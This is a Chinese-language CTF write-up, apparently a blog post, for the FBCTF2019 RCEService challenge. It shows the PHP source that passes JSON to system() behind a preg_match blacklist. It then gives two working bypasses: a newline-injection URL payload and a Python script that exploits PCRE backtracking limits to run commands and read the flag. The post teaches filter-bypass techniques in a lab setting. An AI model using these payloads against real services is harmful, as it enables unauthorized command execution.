buu-[FBCTF2019]RCEService

buu-[FBCTF2019]RCEService

知识点:

linux命令的使用和目录查询

preg_match()函数的绕过

P神:PHP利用PCRE回溯次数限制绕过某些安全限制

wp

在这里插入图片描述

根据题目的提示,应该就是利用json数据造成远程rce,先小试一下

{"cmd":"ls"}

在这里插入图片描述

发现可以显示,然后尝试其它危险函数,发现都没ban了,卡了好久,无奈查看别的大师傅的wp,原来有源码!

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

?>

简单审计一下,发现过滤掉了好多函数,那现在主要就是去想办法绕过preg_match()函数

方法一:

preg_match()函数只能匹配第一行数据,可以使用换行符%0a绕过,payload如下:

?cmd={%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}

这里为什么要是用/bin/cat,审计代码会发现,刚开始设置了路径,所以在这里我们要使用cat的绝对路径,那为什么ls可以用呢,猜测应该是ls的二进制在目录下

然后看大佬的wp发现还有一种方法:P神:PHP利用PCRE回溯次数限制绕过某些安全限制

方法二:

可以先参考一下上面的链接了解一下,原理很简单,上脚本:

import requests

payload = '{"cmd":"/bin/cat /home/rceservice/flag","zz":"' + "a"*(1000000) + '"}'

res = requests.post("http://1147c940-0749-4183-b3f9-035f43b26a3d.node4.buuoj.cn:81/", data={"cmd":payload})
print(res.text)
<html>
  <body>
    <h1>Web Adminstration Interface</h1>

Attempting to run command:<br/>flag{f8ee7880-edfc-4ed3-8bd9-4d541dcfaa3c}
<br/><br/>
    <form>
      Enter command as JSON:
      <input name="cmd" />
    </form>
  </body>
</html>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值